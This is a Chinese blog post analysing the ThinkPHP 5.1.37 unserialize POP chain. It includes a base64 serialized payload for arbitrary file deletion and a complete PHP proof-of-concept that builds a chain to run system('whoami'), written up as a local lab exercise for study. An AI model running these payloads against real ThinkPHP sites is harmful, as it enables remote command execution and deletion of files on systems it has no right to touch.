thinkphp5.1.37反序列化pop链分析,rce命令执行漏洞

很多面试内容都会有对thinkphp的问题,这里我也想学习一下,正好写一下记录一下啦(第一次写,不清楚或者不正确酌情点骂)

首先下载配置thinkphp5.1.37的源代码,在application目录下controller的index内容中加上

unserialize($_GET['a']);

大概就是下面这个样子 (注意要base64编码,如果直接输出的话可能产生不可见字符导致反序列化失败)

下面开始正经的找反序列化的pop链

这里的调试方式我看的暗月的课程配置了phpstorm的动态调试,同时php的魔术方法是什么我也不过多阐述了,下面会有几个魔术方法的使用,如果没有了解可以自己搜索学习一下

首先thinkphp5.1.37版本的pop链从windows类里面的__destruct开始的,这里右键项目,点里面的find in files就可以快速查找__destruct的魔术方法的位置

这里找到了windows类里面的__destruct魔术方法,可以看到有两个指向的函数 close()和removeFiles(),我们具体进去看看里面是什么(close函数不是这里的重点)我们利用的是下面的removeFiles函数

进入removeFiles函数看看

这里有一个简单的文件删除漏洞,这里的files可以被我们反序列化自己控制,就有一个任意文件删除的漏洞:写一个文件在我的网站目录之下

写一个aleicnb.txt文件,写一个反序列化的test.php文件

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ5OiJGOlx0b29sc1xwaHBzdHVkeV9wcm9cV1dXXHd3dy50cDUuY29tXGFsZWljbmIudHh0Ijt9fQ==
生成这个在tp的index页面输入

可以看到我们写的aleicnb文件不见了,这里是一个简单的任意文件删除漏洞,当然这个东西不是这次反序列化的重点。

下面找反序列化的pop链

这里我们要知道,removeFiles函数里面的file_exits函数会把传入的参数当作字符串处理,这里会调用__tostring魔术方法。这里我们要利用的是conversion类中的__tostring魔术方法

进入这里的toJson函数,里面有toArray函数,我们继续查看

这个是toArray函数里面利用反序列化命令执行很重要的代码段,为什么说这段重要,因为里面调用了visible函数。我们要进行命令执行漏洞,是要调用代码中可以执行系统函数的代码部分,而正好在thinkphp5.1.37中,我们可以利用request类的__call魔术方法中有call_user_func_array,可以实现调用后面的isAjax函数(到这里可能会有点乱,好像不知道为什么要这样,这里是一个很长的链子,并不是一步执行,要慢慢耐心的看一下)

什么时候会调用__call魔术方法呢,就是在类内调用不存在的函数,此时会把参数和函数名字传入__call魔术方法中

再看这张图,我们的目的是要最后执行这里的visible函数,所以我们要让代码执行到这里,所以$this->append非空且为数组,还有append内的键值对中,值也应该是数组($name要过去is_array)。

看第一个$relation,内容是空才可以继续执行,getRelation函数要返回false或null,传入的$key不能是空,同时不在$relation中,这里让key的值是一个不存在的就可以了,就让它是aleicnb,所以可以让$this->append为['aleicnb'=>['']]这样。

接下来要让执行visible函数,并且调用__call魔术方法,需要让$relation为Request类的实例,这里就要看getAttr函数

看这里的有调用$value=$this->getData(最后返回的是$value,这里没有截图)只要让getData函数返回的是Request类的实例就可以,进入getData函数

看中间这个return $this->data[$name],让这中的data[$name]为new Request就可以, 

$this->data=['aleicnb'=>new Request()];这样就可以了

这里就可以进行对__call函数的调用

这里可以看到一个array_unshift函数,则$args参数被插入了其他值,则这里的call_user_func_array函数不能用‘system’等函数进行命令执行,这里就可以考虑tp5.1.x常有的rce漏洞就是利用isAjax函数。call_user_func_array函数有一个利用方式就是call_user_func_array([$this,visible],$args)表示调用当前类的visible函数

 $this->hook=['visible'=>[$this,'isAjax']];这样就会调用isAjax函数

看到这里的isAjax函数,看到param函数,传参是$this->config['var_ajax'],进入函数中是$name,进入该函数看一看

最终这里要进入input函数,我们进入input函数看看怎么操作的

这部分是input函数的一部分,里面的getData函数给data赋值,,看看这里的getFilter函数要干什么

可以发现这个getFilter函数其实没干什么,就是要得到一个filter本身,最后补加一个default

进入filtervalue看看

看到里面有一个关键语句,$value=call_user_func($filter,$value);,到了这里思路就比较明了了。附上pop链的poc代码

<?php

namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $mergeParam = true;
    protected $param = ['whoami'];
    protected $config = [
        'var_ajax'         => '',
        ];
    function __construct(){
        $this->hook=['visible'=>[$this,'isAjax']];
        $this->filter=['system'];
    }
}


namespace think;

abstract class Model{
    protected $append = [];
    private $data=[];
    function __construct(){
        $this->append=['aleicnb'=>['']];
        $this->data=['aleicnb'=>new Request()];
    }

}

namespace think\model;
use think\model;
class Pivot extends Model{

}

namespace think\process\pipes;


use think\model\Pivot;

class Pipes{}

class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files=[new Pivot()];
    }
}


echo base64_encode(serialize(new Windows()));

 最后的时候,我可能没有继续细说,可以根据poc代码来返回看一下是怎么操作的。这一块比较乱,大家看的时候记得有一些耐心。上面trait不能被反序列化,后面abstract定义的类也不能直接反序列化,所以找到了跳板pipes类。这就是一个大概的思路(如果写的不好轻点骂哈)

QQ:2912055973,文章有问题或者想相互交流,欢迎大家啦。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值